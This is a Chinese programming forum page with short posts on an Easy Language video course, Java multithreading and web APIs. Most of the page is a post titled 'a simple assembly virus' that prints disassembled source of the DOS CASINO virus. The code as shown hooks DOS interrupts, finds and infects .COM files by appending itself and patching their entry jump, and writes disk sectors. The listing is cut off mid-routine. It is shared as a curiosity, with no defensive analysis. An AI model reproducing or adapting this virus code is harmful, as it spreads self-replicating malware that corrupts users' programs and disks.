哥脫ㄋ,你随意
【美女讲师】教你易语言视频教程:第01课
展开Biu

本帖最后由 哥脫ㄋ,你随意 于 2014-3-26 23:18 编辑

首先申明:不是原创,只是一个内部的资源

以后会不定期的发布,这个系列有19课,已经算是很全的一套教程了。

%8:}%8:}%8:}%8:}%8:}

这是课后的习题(看完视频在做):

“第一个易程序”
要求:
1、 将窗口的宽度设置为:400;宽度设置成300。
2、 将窗口的标题更改为:“第一个易程序”。
3、 边框设置为:镜框式可调边框。
4、 将窗口底色设置成黑色。
5、 显示控制按钮,最大化按钮和最小化按钮为可视状态。
~27!~27!~27!~27!~27!

此教程适合刚学习易语言者,高手勿喷。
这里是下载地址:链接
提取码:SAJDXAxj(分大小写,最好复制)

[查看全文]
Joy_p
普及一下 多线程
展开Biu

不同于c++等语言的调用操作系统的线程调控机制来实现多线程,java语言内置了多线程的api包,因此可以更加方便的使用多线程技术。

(1)线程的问题。

进程是程序的一次动态执行过程,它对应了从代码加载、执行至执行完毕的一个完整过程,这个过程也是进程本身从产生、发展至消亡的过程。线程是比进程更小的单位,一个进程执行过程中可以产生多个线程,每个线程有自身的产生、存在和消亡的过程,也是一个动态的概念。每个进程都有一段专用的内存区域,而线程间可以共享相同的内存区域(包括代码和数据),并利用这些共享单元来实现数据交换、实时通信与必要的同步操作。

每个Java程序都有一个默认的主线程。Java程序总是从主类的main方法开始执行。当JVM加载代码,发现main方法后就启动一个线程,这个线程就称作"主线程",该线程负责执行main方法。在main方法中再创建的线程就是其他线程。

如果main方法中没有创建其他线程,那么当main方法返回时JVM就会结束Java应用程序。但如果main方法中创建了其他线程,那么JVM就要在主线程和其他线程之间轮流切换,保证每个线程都有机会使用CPU资源,main方法返回(主线程结束)JVM也不会结束,要一直等到该程序所有线程全部结束才结束Java程序(另外一种情况是:程序中调用了Runtime类的exit方法,并且安全管理器允许退出操作发生。这时JVM也会结束该程序)。

(2)JAVA多线程的两种使用方法

1、继承Thread类,覆盖run()方法:使用Thread子类创建线程的优点是可以在子类中增加新的成员变量或方法,使线程具有某种属性或功能。但Java不支持多继承,Thread类的子类不能再扩展其他的类。

2、实现Runnable接口:用Thread类直接创建线程对象,使用构造函数Thread(Runnable target)(参数target是一个Runnable接口),创建线程对象时必须向构造方法参数传递一个实现Runnable接口类的实例,该实例对象称作所创线程的目标对象。当线程调用start()方法,一旦轮到它使用CPU资源,目标对象自动调用接口中的run()方法(接口回调)。

线程间可以共享相同的内存单元(包括代码和数据),并利用这些共享单元来实现数据交换、实时通信与必要的同步操作。对于Thread(Runnable target)创建的使用同一目标对象的线程,可以共享该目标对象的成员变量和方法。

另外,创建目标对象类在必要时还可以是某个特定类的子类,因此,使用Runnable接口比使用Thread的子类更具有灵活性。

在线程中启动其他线程,当线程调用start()方法启动,使之从新建态进入就绪队列,一旦得到CPU资源就脱离创建它的主线程,开始自己的生命周期。个人觉得,接口技术相比与thread类更加深层次。

(3)多线程中的常用方法

【此处摘自jinguo的ITeye博客】

start():线程调用该方法将启动线程,从新建态进入就绪队列,一旦享用CPU资源就可以脱离创建它的线程,独立开始自己的生命周期。

run():Thread类的run()方法与Runnable接口中的run()方法功能和作用相同,都用来定义线程对象被调度后所进行的操作,都是系统自动调用而用户不得引用的方法。run()方法执行完毕,线程就成死亡状态,即线程释放了分配给它的内存(死亡态线程不能再调用start()方法)。在线程没有结束run()方法前,不能让线程再调用start()方法,否则将发生IllegalThreadStateException异常。

sleep(int millsecond):有时,优先级高的线程需要优先级低的线程做一些工作来配合它,此时为让优先级高的线程让出CPU资源,使得优先级低的线程有机会运行,可以使用sleep(int millsecond)方法。线程在休眠时被打断,JVM就抛出InterruptedException异常。因此,必须在try-catch语句块中调用sleep方法。

isAlive():当线程调用start()方法并占有CPU资源后该线程的run()方法开始运行,在run()方法没有结束之前调用isAlive()返回true,当线程处于新建态或死亡态时调用isAlive()返回false。

注意:一个已经运行的线程在没有进入死亡态时,不要再给它分配实体,由于线程只能引用最后分配的实体,先前的实体就成为了"垃圾",并且不能被垃圾回收机制收集。

currentThread():是Thread类的类方法,可以用类名调用,返回当前正在使用CPU资源的线程。

interrupt():当线程调用sleep()方法处于休眠状态,一个占有CPU资源的线程可以让休眠的线程调用interrupt()方法"吵醒"自己,即导致线程发生IllegalThreadStateException异常,从而结束休眠,重新排队等待CPU资源。

GUI线程:JVM在运行包含图形界面应用程序时,会自动启动更多线程,其中有两个重要的线程:AWT-EventQueue和AWT-Windows。AWT-EventQueue线程负责处理GUI事件,AWT-Windows线程负责将窗体或组件绘制到桌面。

线程同步:(用synchronized修饰某个方法,该方法修改需要同步的变量;或用volatile修饰基本变量)

当两个或多个线程同时访问一个变量,并且一个线程需要修改这个变量时,应对这样的问题进行处理,否则可能发生混乱。

要处理线程同步,可以把修改数据的方法用关键字synchronized修饰。一个方法使用synchronized修饰,当一个线程A使用这个方法时,其他线程想使用该方法时就必须等待,直到线程A使用完该方法。所谓同步就是多个线程都需要使用一个synchronized修饰的方法。

volatile比同步简单,只适合于控制对基本变量(整数、布尔变量等)的单个实例的访问。java中的volatile关键字与C++中一样,用volatile修饰的变量在读写操作时不会进行优化(取cache里的值以提高io速度),而是直接对主存进行操作,这表示所有线程在任何时候看到的volatile变量值都相同。

在同步方法中使用wait()、notify()、notifyAll()方法:

当一个线程使用的同步方法中用到某个变量,而此变量又需要其他线程修改后才能符合本线程需要,那么可以在同步方法中使用wait()方法。中断方法的执行,使本线程等待,暂时让出CPU资源,并允许其他线程使用这个同步方法。其他线程如果在使用这个同步方法时不需要等待,那么它使用完这个同步方法时应当用notifyAll()方法通知所有由于使用这个同步方法而处于等待的线程结束等待。曾中断的线程就会从中断处继续执行,并遵循"先中断先继续"的原则。如果用的notify()方法,那么只是通知等待中的线程中某一个结束等待。

计时器线程Timer:(Timer还有很多高级操作,详细见JDK,这里做个概述)

java.swing.Timer类用于周期性地执行某些操作。有两个常用构造函数

public Timer(int delay, ActionListener listener):参数listener是计时器的监视器,计时器发生振铃的事件是ActionEvent类型事件,当振铃事件发生,监视器会监视到这个事件并回调ActionListener接口中的actionPerformed(ActionEvent e)方法。

public Timer(int delay):使用该构造方法,计时器要再调用addActionListener(ActionListener listener)方法获得监视器。

如果想让计时器只震动一次,可以让计时器调用setRepeats(boolean b)方法,参数b取false即可。

计时器还可以调用setInitialDelay(int delay)方法设置首次振铃的延时,如果没有设置首次振铃默认延时为构造函数中的参数delay。

还可以调用getDelay()和setDelay(int delay)获取和设置延时。

计时器创建后调用start()启动,调用stop()停止,即挂起,调用restart()重新启动计时器,即恢复线程。

线程联合:

一个线程A在占有CPU资源期间,可以让其他线程调用join()方法和本线程联合,如:

B.join();

此时称A在运行期间联合了B。这时A线程立刻终端执行,一直等到它联合的线程B执行完毕,A线程再重新排队等待CPU资源。但如果A准备联合的线程B已经结束,则B.join()不会产生任何效果。

守护线程:

线程默认是非守护线程,非守护线程也称用户线程,一个线程调用setDaemon(boolean on)方法可以将自己设置成一个守护(Daemon)线程,如:

thread.setDaemon(true);

一个线程必须在自己运行之前设置自己是否是守护线程。守护线程是当程序中所有用户线程都已结束运行时即使守护线程的run()方法还有需要执行的语句,守护线程也会立刻结束运行。因此守护线程用于做一些不是很严格的工作,当线程随时结束时不会产生什么不良后果。

[查看全文]
打破沙锅
API网络编程 是什么?有做过的吗?
展开Biu

很多网站都提供API,我理解就是个接口吧?不知道这个API有啥功能? 如果需要利用某网站上提供的API编程的话 不知道该怎么做? 用什么语言和软件来实现API编程? 回复给糖吃哦!

[查看全文]
vygiug
绿色de影子
逆流生长
一个简单的汇编病毒タ(^_^ )ノ
展开Biu

;?????????????????????????????????????

;? ?

;? CASINO ?

;? ?

;? Created: 31-Aug-90 ?

;? Version: ?

;? Passes: 9 Analysis Options on: H ?

;? Copyright S & S International, 1990 ?

;? ?

;?????????????????????????????????????

DATA_1E EQU 60CH ; (0000:060C=0)

DATA_2E EQU 60DH ; (0000:060D=0)

DATA_3E EQU 60EH ; (0000:060E=0)

DATA_4E EQU 60FH ; (0000:060F=0)

DATA_5E EQU 610H ; (0000:0610=0)

DATA_6E EQU 611H ; (0000:0611=0)

DATA_7E EQU 612H ; (0000:0612=0)

DATA_8E EQU 2 ; (6AE6:0002=0)

DATA_10E EQU 3BH ; (6AE6:003B=0)

DATA_11E EQU 3DH ; (6AE6:003D=0)

DATA_12E EQU 3FH ; (6AE6:003F=0)

DATA_13E EQU 40H ; (6AE6:0040=0)

DATA_14E EQU 41H ; (6AE6:0041=0)

DATA_15E EQU 43H ; (6AE6:0043=6AE6h)

DATA_16E EQU 45H ; (6AE6:0045=0)

DATA_17E EQU 47H ; (6AE6:0047=6AE6h)

DATA_18E EQU 4DH ; (6AE6:004D=0)

DATA_19E EQU 68H ; (6AE6:0068=0)

DATA_20E EQU 7EH ; (6AE6:007E=0)

DATA_21E EQU 80H ; (6AE6:0080=0)

DATA_33E EQU 716EH ; (6AE6:716E=0)

SEG_A SEGMENT BYTE PUBLIC

ASSUME CS:SEG_A, DS:SEG_A

ORG 100H

CASINO PROC FAR

START:

NOP

DATA_23 DB 0E9H

DATA_24 DB 48H

DATA_25 DB 7, ' ;ello - Copyright S & S Intern'

DB ' ;ational, 1990', 0Ah, 0Dh, '$'

DB 1AH

DB ' ;AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'

DB ' ;AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'

DB ' ;AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'

DB ' ;AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'

DB ' ;AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'

DB ' ;AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'

DB ' ;AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'

DB ' ;AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'

DB ' ;AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'

DB ' ;AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'

DB ' ;AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'

DB ' ;AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'

DB ' ;AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'

DB ' ;AA'

DB 0E6H

DB ' ;jAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'

DB ' ;AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'

DB ' ;AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'

CASINO ENDP

;?????????????????????????????????????

;

; External Entry Point

;

;?????????????????????????????????????

INT_24H_ENTRY PROC FAR

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

INC CX

MOV AH,9

MOV DX,OFFSET DATA_25 ; (6AE6:0103=7)

INT 21H ; DOS Services ah=function 09h

; display char string at ds:dx

INT 20H ; Program Terminate

DB 0, 0, 0, 0, 0, 0FH

DB 0, 0, 0E9H, 0D3H, 1, 0E9H

DB 0, 0, 0, 90H, 0E9H, 78H

DB 2AH, 2AH, 2EH, 43H, 4FH, 4DH

DB 0

DB ' ;C:\COMMAND.COM'

DB 0, 43H, 4FH, 4DH, 4DH, 41H

DB 4EH, 44H, 0FFH

DB 2EH, 43H, 4FH, 4DH

DB 15 DUP (0)

DB 3FH, 0, 0F0H, 3, 2, 0

DB 0B3H, 4BH, 0FCH, 91H, 56H, 5

DB 79H, 10H, 0, 0, 0, 0

DB 0, 3

DB 8 DUP (3FH)

DB 43H, 4FH, 4DH, 3FH, 8, 0

DB 1EH, 2, 2EH, 8BH, 26H, 68H

DB 20H, 0A9H, 8EH, 1FH, 15H, 0E8H

DB 3, 0, 0

DB ' ;H1000.COM'

DB 9 DUP (0)

DB 1FH, 15H, 0A9H, 8EH, 90H, 90H

DB 3DH, 59H, 4BH, 75H, 4, 0B8H

DB 66H, 6, 0CFH, 80H, 0FCH, 11H

DB 74H, 8, 80H, 0FCH, 12H, 74H

DB 3, 0EBH, 51H, 90H

LOC_2:

CMP AL,66H ; 'f'

JE LOC_4 ; Jump if equal

MOV AL,66H ; 'f'

INT 21H ; DOS Services ah=function 09h

; display char string at ds:dx

PUSH AX

PUSH BX

PUSH CX

PUSH DX

PUSH ES

MOV AH,2FH ; '/'

INT 21H ; DOS Services ah=function 2Fh

; get DTA ptr into es:bx

MOV AL,ES:[BX+10H]

CMP AL,43H ; 'C'

JNE LOC_3 ; Jump if not equal

MOV AL,ES:[BX+11H]

CMP AL,4FH ; 'O'

JNE LOC_3 ; Jump if not equal

MOV AL,ES:[BX+12H]

CMP AL,4DH ; 'M'

JNE LOC_3 ; Jump if not equal

MOV AX,ES:[BX+24H]

CMP AX,91AH

JB LOC_3 ; Jump if below

SUB AX,91AH

MOV CX,AX

PUSH CX

MOV CX,10H

MOV DX,0

DIV CX ; ax,dx rem=dx:ax/reg

POP CX

CMP DX,0

JNE LOC_3 ; Jump if not equal

MOV ES:[BX+24H],CX

LOC_3:

POP ES

POP DX

POP CX

POP BX

POP AX

IRET ; Interrupt return

INT_24H_ENTRY ENDP

LOC_4:

PUSH AX

PUSH BX

PUSH CX

PUSH DX

PUSH SI

PUSH DI

PUSH BP

PUSH DS

PUSH ES

MOV BX,CS

MOV DS,BX

MOV AL,0

MOV DS:DATA_18E,AL ; (6AE6:004D=0)

MOV AL,DS:DATA_13E ; (6AE6:0040=0)

CMP AL,0FFH

JNE LOC_5 ; Jump if not equal

JMP LOC_15 ; (06B2)

LOC_5:

MOV AL,0FFH

MOV DS:DATA_13E,AL ; (6AE6:0040=0)

CMP AH,4BH ; 'K'

JE LOC_6 ; Jump if equal

CMP AH,36H ; '6'

JE LOC_7 ; Jump if equal

JMP LOC_15 ; (06B2)

LOC_6:

MOV AH,19H

INT 21H ; DOS Services ah=function 19h

; get default drive al (0=a:)

MOV DS:DATA_12E,AL ; (6AE6:003F=0)

JMP SHORT LOC_8 ; (0624)

DB 90H

LOC_7:

MOV AH,19H

INT 21H ; DOS Services ah=function 19h

; get default drive al (0=a:)

MOV DS:DATA_12E,AL ; (6AE6:003F=0)

CMP DL,0

JE LOC_8 ; Jump if equal

DEC DL

MOV AH,0EH

INT 21H ; DOS Services ah=function 0Eh

; set default drive dl (0=a:)

LOC_8:

MOV AH,19H

INT 21H ; DOS Services ah=function 19h

; get default drive al (0=a:)

CMP AL,1

JA LOC_9 ; Jump if above

MOV CH,0

PUSH DS

POP ES

MOV BX,917H

MOV AL,1

CALL SUB_3 ; (07DB)

MOV AL,1

CALL SUB_4 ; (07EC)

CMP AH,0

JE LOC_9 ; Jump if equal

JMP SHORT LOC_14 ; (069C)

DB 90H

LOC_9:

MOV AH,2FH ; '/'

INT 21H ; DOS Services ah=function 2Fh

; get DTA ptr into es:bx

MOV DS:DATA_14E,BX ; (6AE6:0041=0)

MOV DS:DATA_15E,ES ; (6AE6:0043=6AE6h)

MOV DX,4EH

MOV AH,1AH

INT 21H ; DOS Services ah=function 1Ah

; set DTA to ds:dx

MOV DX,0BH

MOV CX,3FH

MOV AH,4EH ; 'N'

INT 21H ; DOS Services ah=function 4Eh

; find 1st filenam match @ds:dx

JC LOC_14 ; Jump if carry Set

MOV DX,6CH

CALL SUB_1 ; (06EE)

CMP DL,1

JNE LOC_10 ; Jump if not equal

CALL SUB_2 ; (073C)

JMP SHORT LOC_14 ; (069C)

DB 90H

LOC_10:

CMP DL,3

JE LOC_11 ; Jump if equal

JMP SHORT LOC_14 ; (069C)

DB 90H

LOC_11:

MOV AH,4FH ; 'O'

INT 21H ; DOS Services ah=function 4Fh

; find next filename match

JNC LOC_12 ; Jump if carry=0

JMP SHORT LOC_14 ; (069C)

DB 90H

LOC_12:

MOV DX,6CH

CALL SUB_1 ; (06EE)

CMP DL,1

JNE LOC_13 ; Jump if not equal

CALL SUB_2 ; (073C)

JMP SHORT LOC_14 ; (069C)

DB 90H

LOC_13:

CMP DL,3

JE LOC_11 ; Jump if equal

LOC_14:

MOV DL,DS:DATA_12E ; (6AE6:003F=0)

MOV AH,0EH

INT 21H ; DOS Services ah=function 0Eh

; set default drive dl (0=a:)

MOV DX,DS:DATA_14E ; (6AE6:0041=0)

MOV BX,DS:DATA_15E ; (6AE6:0043=6AE6h)

MOV DS,BX

MOV AH,1AH

INT 21H ; DOS Services ah=function 1Ah

; set DTA to ds:dx

LOC_15:

MOV AH,0

MOV DS:DATA_13E,AH ; (6AE6:0040=0)

POP ES

POP DS

POP BP

POP DI

POP SI

POP DX

POP CX

POP BX

POP AX

;* jmp far ptr loc_1 ;*(0273:1460)

DB 0EAH, 60H, 14H, 73H, 2

DB 8CH, 0CAH, 83H, 0C2H, 10H, 8EH

DB 0DAH, 0BAH, 20H, 0, 0B4H, 41H

DB 0CDH, 21H, 0B8H, 21H, 35H, 0CDH

DB 21H, 8CH, 6, 0D4H, 1, 89H

DB 1EH, 0D2H, 1, 0BAH, 82H, 0

DB 0B8H, 21H, 25H, 0CDH, 21H, 0BAH

DB 1BH, 0CH, 0CDH

DB 27H

;?????????????????????????????????????

; SUBROUTINE

;?????????????????????????????????????

SUB_1 PROC NEAR

MOV AX,DS:DATA_19E ; (6AE6:0068=0)

CMP AX,0F5B9H

JA LOC_20 ; Jump if above

MOV AX,4300H

INT 21H ; DOS Services ah=function 43h

; get/set file attrb, nam@ds:dx

TEST CL,4

JNZ LOC_20 ; Jump if not zero

TEST CL,1

JZ LOC_16 ; Jump if zero

AND CL,0FEH

MOV AX,4301H

INT 21H ; DOS Services ah=function 43h

; get/set file attrb, nam@ds:dx

LOC_16:

MOV AX,3D02H

INT 21H ; DOS Services ah=function 3Dh

; open file, al=mode,name@ds:dx

MOV BX,AX

MOV DX,3

MOV CX,1

MOV AH,3FH ; '?'

INT 21H ; DOS Services ah=function 3Fh

; read file, cx=bytes, to ds:dx

JNC LOC_17 ; Jump if carry=0

JMP SHORT LOC_19 ; (0732)

DB 90H

LOC_17:

CMP AX,0

JNE LOC_18 ; Jump if not equal

JMP SHORT LOC_19 ; (0732)

DB 90H

LOC_18:

MOV AL,BYTE PTR DS:DATA_8E+1 ; (6AE6:0003=0)

CMP AL,90H

JNE LOC_21 ; Jump if not equal

LOC_19:

MOV AH,3EH ; '>'

INT 21H ; DOS Services ah=function 3Eh

; close file, bx=file handle

LOC_20:

MOV DL,3

retn

LOC_21:

MOV DL,1

retn

SUB_1 ENDP

;?????????????????????????????????????

; SUBROUTINE

;?????????????????????????????????????

SUB_2 PROC NEAR

MOV AX,5700H

INT 21H ; DOS Services ah=function 57h

; get/set file date & time

MOV DS:DATA_20E,DX ; (6AE6:007E=0)

MOV DS:DATA_21E,CX ; (6AE6:0080=0)

PUSH BX

CALL SUB_5 ; (07FD)

MOV BX,68H

MOV AX,[BX]

MOV DX,0

MOV BX,10H

DIV BX ; ax,dx rem=dx:ax/reg

INC AX

MOV DS:DATA_10E,AX ; (6AE6:003B=0)

MUL BX ; dx:ax = reg * ax

MOV DS:DATA_11E,AX ; (6AE6:003D=0)

POP BX

MOV CX,DS:DATA_10E ; (6AE6:003B=0)

MOV SI,35FH

MOV [SI],CX

MOV CX,0

MOV DX,0

MOV AX,4200H

INT 21H ; DOS Services ah=function 42h

; move file ptr, cx,dx=offset

MOV DX,605H

MOV CX,4

MOV AH,3FH ; '?'

INT 21H ; DOS Services ah=function 3Fh

; read file, cx=bytes, to ds:dx

MOV CX,0

MOV DX,DS:DATA_11E ; (6AE6:003D=0)

MOV AX,4200H

INT 21H ; DOS Services ah=function 42h

; move file ptr, cx,dx=offset

MOV DX,0

MOV CX,91AH

MOV AH,40H ; '@'

INT 21H ; DOS Services ah=function 40h

; write file cx=bytes, to ds:dx

CMP AX,CX

JB LOC_22 ; Jump if below

MOV AL,DS:DATA_18E ; (6AE6:004D=0)

CMP AL,1

JE LOC_22 ; Jump if equal

MOV CX,0

MOV DX,0

MOV AX,4200H

INT 21H ; DOS Services ah=function 42h

; move file ptr, cx,dx=offset

MOV SI,9

MOV AX,DS:DATA_11E ; (6AE6:003D=0)

ADD AX,35CH

SUB AX,4

MOV [SI],AX

MOV DX,7

MOV CX,4

MOV AH,40H ; '@'

INT 21H ; DOS Services ah=function 40h

; write file cx=bytes, to ds:dx

LOC_22:

MOV DX,DS:DATA_20E ; (6AE6:007E=0)

MOV CX,DS:DATA_21E ; (6AE6:0080=0)

MOV AX,5701H

INT 21H ; DOS Services ah=function 57h

; get/set file date & time

MOV AH,3EH ; '>'

INT 21H ; DOS Services ah=function 3Eh

; close file, bx=file handle

CALL SUB_6 ; (0813)

retn

SUB_2 ENDP

;?????????????????????????????????????

; SUBROUTINE

;?????????????????????????????????????

SUB_3 PROC NEAR

PUSH AX

MOV AH,19H

INT 21H ; DOS Services ah=function 19h

; get default drive al (0=a:)

MOV DL,AL

POP AX

MOV DH,0

MOV CL,1

MOV AH,2

INT 13H ; Disk dl=drive #: ah=func b2h

; read sectors to memory es:bx

retn

SUB_3 ENDP

;?????????????????????????????????????

; SUBROUTINE

;?????????????????????????????????????

SUB_4 PROC NEAR

PUSH AX

MOV AH,19H

INT 21H ; DOS Services ah=function 19h

; get default drive al (0=a:)

MOV DL,AL

POP AX

MOV DH,0

MOV CL,1

MOV AH,3

INT 13H ; Disk dl=drive #: ah=func b3h

; write sectors from mem es:bx

retn

SUB_4 ENDP

;?????????????????????????????????????

; SUBROUTINE

;?????????????????????????????????????

SUB_5 PROC NEAR

MOV AX,3524H

INT 21H ; DOS Services ah=function 35h

; get intrpt vector al in es:bx

MOV DS:DATA_16E,BX ; (6AE6:0045=0)

MOV DS:DATA_17E,ES ; (6AE6:0047=6AE6h)

MOV DX,335H

MOV AX,2524H

INT 21H ; DOS Services ah=function 25h

; set intrpt vector al to ds:dx

retn

SUB_5 ENDP

;?????????????????????????????????????

; SUBROUTINE

;?????????????????????????????????????

SUB_6 PROC NEAR

MOV DX,DS:DATA_16E ; (6AE6:0045=0)

MOV CX,DS:DATA_17E ; (6AE6:0047=6AE6h)

PUSH DS

PUSH CX

POP DS

MOV AX,2524H

INT 21H ; DOS Services ah=function 25h

; set intrpt vector al to ds:dx

POP DS

retn

SUB_6 ENDP

DB 50H, 53H, 51H, 52H, 1EH, 6

DB 0B4H, 0, 0CDH, 13H, 0B4H, 1

DB 88H, 26H, 4DH, 0, 0BFH, 0FFH

DB 0FFH, 8EH, 6, 49H, 0, 8BH

DB 1EH, 4BH, 0, 0B0H, 0, 26H

DB 88H, 7, 7, 1FH, 5AH, 59H

DB 5BH, 58H, 0CFH, 8CH, 0CAH, 0B9H

DB 3FH, 0, 3, 0D1H, 83H, 0C2H

DB 10H, 8EH, 0DAH, 0A1H, 3DH, 0

DB 5, 3, 6, 0BBH, 0FEH, 0FFH

DB 2BH, 0D8H, 89H, 1EH, 3, 6

DB 0BBH, 5, 6, 8AH, 7, 2EH

DB 0A2H, 0, 1, 43H, 8AH, 7

DB 2EH, 0A2H, 1, 1, 43H, 8AH

DB 7, 2EH, 0A2H, 2, 1, 43H

DB 8AH, 7, 2EH, 0A2H, 3, 1

DB 0B4H, 2AH, 0CDH, 21H, 80H, 0FAH

DB 0FH, 74H, 3, 0E9H, 0A2H, 1

LOC_23:

CMP DH,1

JE LOC_24 ; Jump if equal

CMP DH,4

JE LOC_24 ; Jump if equal

CMP DH,8

JE LOC_24 ; Jump if equal

JMP LOC_36 ; (0A33)

LOC_24:

CALL SUB_8 ; (09EB)

PUSH DS

POP ES

MOV SI,613H

MOV DI,613H

MOV CX,305H

CLD ; Clear direction

LOCLOOP_25:

LODSB ; String [si] to al

SUB AL,64H ; 'd'

STOSB ; Store al to es:[di]

LOOP LOCLOOP_25 ; Loop if cx > 0

MOV DX,613H

MOV AH,9

INT 21H ; DOS Services ah=function 09h

; display char string at ds:dx

LOC_26:

MOV AH,7

INT 21H ; DOS Services ah=function 07h

; get keybd char al, no echo

MOV BYTE PTR DS:DATA_2E,64H ; (0000:060D=0) 'd'

NOP

MOV BYTE PTR DS:DATA_3E,78H ; (0000:060E=0) 'x'

NOP

MOV BYTE PTR DS:DATA_4E,0B4H ; (0000:060F=0)

NOP

MOV AH,2CH ; ','

INT 21H ; DOS Services ah=function 2Ch

; get time, cx=hrs/min, dh=sec

MOV BL,DH

MOV BH,0

MOV CH,0

MOV DH,0

ADD CL,DL

MOV AX,CX

MOV CL,3

DIV CL ; al, ah rem = ax/reg

MOV DS:DATA_5E,AH ; (0000:0610=0)

MOV AX,DX

MOV DL,3

DIV DL ; al, ah rem = ax/reg

MOV DS:DATA_6E,AH ; (0000:0611=0)

MOV AX,BX

DIV DL ; al, ah rem = ax/reg

MOV DS:DATA_7E,AH ; (0000:0612=0)

DEC BYTE PTR DS:DATA_1E ; (0000:060C=0)

MOV AL,DS:DATA_1E ; (0000:060C=0)

ADD AL,30H ; '0'

MOV DH,0DH

MOV DL,26H ; '&'

MOV BX,0

MOV AH,2

INT 10H ; Video display ah=functn 02h

; set cursor location in dx

MOV AH,0EH

INT 10H ; Video display ah=functn 0Eh

; write char al, teletype mode

LOC_27:

MOV DX,1FFFH

LOC_28:

NOP

NOP

NOP

DEC DX

JNZ LOC_28 ; Jump if not zero

MOV AL,DS:DATA_2E ; (0000:060D=0)

CMP AL,DS:DATA_5E ; (0000:0610=0)

JE LOC_29 ; Jump if equal

MOV DL,19H

MOV AL,DS:DATA_2E ; (0000:060D=0)

CALL SUB_7 ; (09C9)

MOV AL,DS:DATA_2E ; (0000:060D=0)

DEC AL

MOV DS:DATA_2E,AL ; (0000:060D=0)

LOC_29:

